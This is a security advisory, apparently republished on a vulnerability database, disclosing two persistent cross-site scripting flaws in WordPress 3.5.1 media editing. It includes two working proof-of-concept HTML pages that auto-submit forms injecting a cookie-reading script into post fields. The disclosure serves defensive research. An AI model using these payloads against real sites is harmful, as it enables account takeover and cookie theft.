Vulners
Lucene search
WordPress 3.5.1 Cross Site Scripting
`Hello list!
These are Cross-Site Scripting vulnerabilities in WordPress. Which I've
disclosed last week.
At WordPress 3.5.2 release, WP developers mentioned about three holes as
"security hardenings" (to decrease their importance and to make it looks
like there were less fixed holes). One of these holes is "Cross-Site
Scripting (XSS) when Editing Media". After I checked media editing
functionality, I've found that it was not one hole, but two holes and these
were persistent XSS.
-------------------------
Affected products:
-------------------------
Vulnerable are WordPress 3.5.1 and previous versions.
----------
Details:
----------
Cross-Site Scripting (WASC-08):
These are persistent XSS vulnerabilities at page
http://site/wp-admin/post.php?post=1&action=edit in parameters excerpt and
content. For the attack it's needed to bypass protection against CSRF (to
receive token _wpnonce, which can be done with using reflected XSS).
WordPress 3.5.1 XSS-1.html
<html>
<head>
<title>WordPress 3.5.1 XSS exploit (C) 2013 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/post.php" method="post">
<input type="hidden" name="_wpnonce" value="cbad9af0d3">
<input type="hidden" name="user_ID" value="1">
<input type="hidden" name="action" value="editpost">
<input type="hidden" name="post_author" value="1">
<input type="hidden" name="post_type" value="attachment">
<input type="hidden" name="post_ID" value="1">
<input type="hidden" name="excerpt"
value="</textarea><script>alert(document.cookie)</script>">
<input type="hidden" name="save" value="Update">
</form>
</body>
</html>
The code will execute just after sending request at the page
http://site/wp-admin/post.php?post=1&action=edit and at subsequent visiting
this page.
WordPress 3.5.1 XSS-2.html
<html>
<head>
<title>WordPress 3.5.1 XSS exploit (C) 2013 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/post.php" method="post">
<input type="hidden" name="_wpnonce" value="cbad9af0d3">
<input type="hidden" name="user_ID" value="1">
<input type="hidden" name="action" value="editpost">
<input type="hidden" name="post_author" value="1">
<input type="hidden" name="post_type" value="attachment">
<input type="hidden" name="post_ID" value="1">
<input type="hidden" name="content"
value="</textarea><script>alert(document.cookie)</script>">
<input type="hidden" name="save" value="Update">
</form>
</body>
</html>
The code will execute just after sending request at the page
http://site/wp-admin/post.php?post=1&action=edit and at subsequent visiting
this page or the page http://site/page_name/attachment/1/.
------------
Timeline:
------------
2013.06.21 - released WordPress 3.5.2.
2013.06.29 - disclosed at my site (http://websecurity.com.ua/6616/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Jul 2013 00:00Current
7.4High risk
Vulners AI Score7.4